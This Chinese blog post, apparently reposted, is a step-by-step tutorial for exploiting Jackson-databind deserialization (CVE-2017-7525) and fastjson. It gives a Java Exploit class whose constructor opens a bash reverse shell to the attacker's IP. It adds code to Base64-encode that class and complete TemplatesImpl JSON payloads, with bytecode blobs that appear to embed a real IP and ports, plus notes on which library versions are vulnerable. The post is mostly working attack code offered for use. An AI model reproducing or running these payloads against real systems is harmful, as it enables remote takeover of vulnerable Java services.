Jackson遠程代碼執行漏洞復現(不使用vulhub,手寫transletBytecodes字段)


今天花了一天的時間復現Jackson遠程代碼執行漏洞,查詢vulhub可以看到存在CVE-2017-7525的漏洞環境,根據網上的教程,的確可以復現成功。

但是!我發現很多教程都只是復現一遍而已,根本就不知道原理,很明顯的一點就是:他們根本不知道如何修改transletBytecodes的值!

接下來我教你如何修改transletBytecodes的值,把一個目標機器的bash彈到公網上

其實很簡單:

0x0 寫一個Exploit類:

 1 import com.sun.org.apache.xalan.internal.xsltc.DOM;
 2 import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 3 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 4 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 5 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 6 
 7 import java.io.IOException;
 8 
 9 public class Exploit extends AbstractTranslet {
10 
11 
12     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
13     }
14 
15 
16     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
17 
18     }
19 
20     public Exploit() throws IOException {
21         try {
22             String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/4455 0>&1"};
23             Process p = Runtime.getRuntime().exec(commands);
24             p.waitFor();
25         } catch (InterruptedException e) {
26             e.printStackTrace();
27         }
28     }
29 
30     public static void main(String[] args) throws IOException {
31         Exploit helloworld = new Exploit();
32     }
33 }

注意看其中的第22行,你需要把其中的ip修改成你自己的公網ip

0x01 在公網上使用nc監聽:

 0x02 把Exploit.java編譯成Exploit.class

注意使用jdk1.5編譯(不需要下載jdk1.5,可以使用maven項目,在pom.xml中指定編譯版本)

javac Exploit.java

0x03 執行如下代碼,把Exploit.class字節流進行Base64編碼:

 1 import org.apache.commons.codec.binary.Base64;
 2 import org.apache.commons.io.IOUtils;
 3 
 4 import java.io.ByteArrayOutputStream;
 5 import java.io.File;
 6 import java.io.FileInputStream;
 7 import java.io.IOException;
 8 
 9 public class Main {
10     public static void main(String[] args) {
11         ByteArrayOutputStream bos = new ByteArrayOutputStream();
12         try {
13             IOUtils.copy(new FileInputStream(new File("/Users/admin/Exploit.class")), bos);
14         } catch (IOException e) {
15             e.printStackTrace();
16         }
17         String result = Base64.encodeBase64String(bos.toByteArray());
18         System.out.println(result);
19     }
20 }

注意其中的第13行,修改為你自己的Exploit.class所在的路徑

運行結果如下:

yv66vgAAADEASAoADQAvBwAwCAAxCAAyCAAzCgA0ADUKADQANgoANwA4BwA5CgAJADoHADsKAAsALwcAPAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHkxuZXQvcXV0b3V0aWFvL2V4cC9ldmlsQ2xhc3MxOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAPQEABjxpbml0PgEAAygpVgEACGNvbW1hbmRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXABABNMamF2YS9sYW5nL1Byb2Nlc3M7AQABZQEAIExqYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb247BwA+AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQAKaGVsbG93b3JsZAEAClNvdXJjZUZpbGUBAA9ldmlsQ2xhc3MxLmphdmEMACAAIQEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBACpiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEwMi4yMTIuMi80NDU1IDA+JjEHAD8MAEAAQQwAQgBDBwBEDABFAEYBAB5qYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb24MAEcAIQEAHG5ldC9xdXRvdXRpYW8vZXhwL2V2aWxDbGFzczEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAAd3YWl0Rm9yAQADKClJAQAPcHJpbnRTdGFja1RyYWNlACEACwANAAAAAAAEAAEADgAPAAEAEAAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAAPABIAAAAqAAQAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAAAABABkAGgADAAEADgAbAAIAEAAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAAUABIAAAAgAAMAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAHgAAAAQAAQAfAAEAIAAhAAIAEAAAAJoABAADAAAALiq3AAEGvQACWQMSA1NZBBIEU1kFEgVTTLgABiu2AAdNLLYACFenAAhMK7YACrEAAQAEACUAKAAJAAIAEQAAACIACAAAABYABAAYABgAGQAgABoAJQAdACgAGwApABwALQAeABIAAAAqAAQAGAANACIAIwABACAABQAkACUAAgApAAQAJgAnAAEAAAAuABMAFAAAAB4AAAAEAAEAKAAJACkAKgACABAAAABBAAIAAgAAAAm7AAtZtwAMTLEAAAACABEAAAAKAAIAAAAhAAgAIgASAAAAFgACAAAACQArACMAAAAIAAEALAAUAAEAHgAAAAQAAQAoAAEALQAAAAIALg==

0x04 把得到結果的替換如下的transletBytecodes的字段內容,運行。

注意其中的第12行,開啟enableDefaultTyping是必須的,只有開啟了,才會識別json字符串中的類型,並轉化成對應的類型,如com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

 1 package net.qutoutiao;
 2 
 3 import com.fasterxml.jackson.databind.ObjectMapper;
 4 
 5 import java.io.IOException;
 6 
 7 public class Main {
 8     public static void main(String[] args) {
 9         String json = "[\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", {\"transletBytecodes\": [\"yv66vgAAADEASAoADQAvBwAwCAAxCAAyCAAzCgA0ADUKADQANgoANwA4BwA5CgAJADoHADsKAAsALwcAPAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHkxuZXQvcXV0b3V0aWFvL2V4cC9ldmlsQ2xhc3MxOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAPQEABjxpbml0PgEAAygpVgEACGNvbW1hbmRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXABABNMamF2YS9sYW5nL1Byb2Nlc3M7AQABZQEAIExqYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb247BwA+AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQAKaGVsbG93b3JsZAEAClNvdXJjZUZpbGUBAA9ldmlsQ2xhc3MxLmphdmEMACAAIQEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBACpiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEwMi4yMTIuMi80NDU1IDA+JjEHAD8MAEAAQQwAQgBDBwBEDABFAEYBAB5qYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb24MAEcAIQEAHG5ldC9xdXRvdXRpYW8vZXhwL2V2aWxDbGFzczEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAAd3YWl0Rm9yAQADKClJAQAPcHJpbnRTdGFja1RyYWNlACEACwANAAAAAAAEAAEADgAPAAEAEAAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAAPABIAAAAqAAQAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAAAABABkAGgADAAEADgAbAAIAEAAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAAUABIAAAAgAAMAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAHgAAAAQAAQAfAAEAIAAhAAIAEAAAAJoABAADAAAALiq3AAEGvQACWQMSA1NZBBIEU1kFEgVTTLgABiu2AAdNLLYACFenAAhMK7YACrEAAQAEACUAKAAJAAIAEQAAACIACAAAABYABAAYABgAGQAgABoAJQAdACgAGwApABwALQAeABIAAAAqAAQAGAANACIAIwABACAABQAkACUAAgApAAQAJgAnAAEAAAAuABMAFAAAAB4AAAAEAAEAKAAJACkAKgACABAAAABBAAIAAgAAAAm7AAtZtwAMTLEAAAACABEAAAAKAAIAAAAhAAgAIgASAAAAFgACAAAACQArACMAAAAIAAEALAAUAAEAHgAAAAQAAQAoAAEALQAAAAIALg==\"], \"transletName\": \"a.b\", \"outputProperties\": {} }]";
10         try {
11             ObjectMapper objectMapper = new ObjectMapper();
12             objectMapper.enableDefaultTyping();
13             Object o = objectMapper.readValue(json, Object.class);
14             System.out.println(o);
15         } catch (IOException e) {
16             e.printStackTrace();
17         }
18     }
19 }

此時公網vps上已經獲得一個bash!

 

注意點:此次實驗的成功與否,跟jackson的版本有關,本次實驗使用的是Jackson-databind 2.7.3
經過測試,Jackson-databind 2.9.3復現失敗,會提示prevented for security reasons
據我猜測是TemplatesImpl從某一版本開始,被加入了黑名單。
現在下班了,等我下次有空,我再具體找找看是從哪一個版本開始,TemplatesImpl被加入黑名單

 

 

 

順帶提一下fastjson的遠程命令執行的寫法:

 1 package net.qutoutiao.fastjsonexploit;
 2 
 3 import com.alibaba.fastjson.JSON;
 4 import com.alibaba.fastjson.parser.Feature;
 5 import com.alibaba.fastjson.parser.ParserConfig;
 6 
 7 public class Main {
 8     public static void main(String[] args) {
 9         String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADEASAoADQAvBwAwCAAxCAAyCAAzCgA0ADUKADQANgoANwA4BwA5CgAJADoHADsKAAsALwcAPAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAG0xuZXQvcXV0b3V0aWFvL2V4cC9FeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAPQEABjxpbml0PgEAAygpVgEACGNvbW1hbmRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXABABNMamF2YS9sYW5nL1Byb2Nlc3M7AQABZQEAIExqYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb247BwA+AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQAHZXhwbG9pdAEAClNvdXJjZUZpbGUBAAxFeHBsb2l0LmphdmEMACAAIQEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBACpiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEwMi4yMTIuMi80NDQ0IDA+JjEHAD8MAEAAQQwAQgBDBwBEDABFAEYBAB5qYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb24MAEcAIQEAGW5ldC9xdXRvdXRpYW8vZXhwL0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAAd3YWl0Rm9yAQADKClJAQAPcHJpbnRTdGFja1RyYWNlACEACwANAAAAAAAEAAEADgAPAAEAEAAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAANABIAAAAqAAQAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAAAABABkAGgADAAEADgAbAAIAEAAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAASABIAAAAgAAMAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAHgAAAAQAAQAfAAEAIAAhAAIAEAAAAJoABAADAAAALiq3AAEGvQACWQMSA1NZBBIEU1kFEgVTTLgABiu2AAdNLLYACFenAAhMK7YACrEAAQAEACUAKAAJAAIAEQAAACIACAAAABQABAAWABgAFwAgABgAJQAbACgAGQApABoALQAcABIAAAAqAAQAGAANACIAIwABACAABQAkACUAAgApAAQAJgAnAAEAAAAuABMAFAAAAB4AAAAEAAEAKAAJACkAKgACABAAAABBAAIAAgAAAAm7AAtZtwAMTLEAAAACABEAAAAKAAIAAAAfAAgAIAASAAAAFgACAAAACQArACMAAAAIAAEALAAUAAEAHgAAAAQAAQAoAAEALQAAAAIALg==\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}\n";
10         JSON.parseObject(json, Feature.SupportNonPublicField);
11         
12         /**
13          * fastjson只會反序列化公開的屬性和域,
14          * 而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes卻是私有屬性,
15          * _name也是私有域,所以在parseObject的時候需要設置Feature.SupportNonPublicField,
16          * 這樣_bytecodes字段才會被反序列化。_tfactory這個字段在TemplatesImpl既沒有get方法也沒有set方法,
17          * 這沒關系,我們設置_tfactory為{ },fastjson會調用其無參構造函數得_tfactory對象,
18          * 這樣就解決了某些版本中在defineTransletClasses()用到會引用_tfactory屬性導致異常退出。
19          */
20     }
21 }

 

 僅在fastjson<=1.2.24可使用,fastjson>=1.2.25的版本,需要添加

ParserConfig.getGlobalInstance().addAccept("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM